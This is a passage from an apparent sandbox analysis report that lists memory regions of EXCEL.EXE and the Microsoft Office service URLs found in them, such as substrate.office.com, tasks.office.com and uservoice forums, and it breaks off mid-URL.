Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://store.office.cn/addinstemplate
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.com/Todo-Internal.ReadWrite
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comD8
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comI9
Source: EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comP
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comc
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.comc:9
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://substrate.office.coml
Source: EXCEL.EXE, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFilea1
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://tasks.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://tasks.office.com.
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://tellmeservice.osi.office.netst
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/t
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: EXCEL.EXE, 00000000.00000002.982062545.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656095068.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://webshell.suite.office.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://webshell.suite.office.com8jK
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://wus2.contentsync.
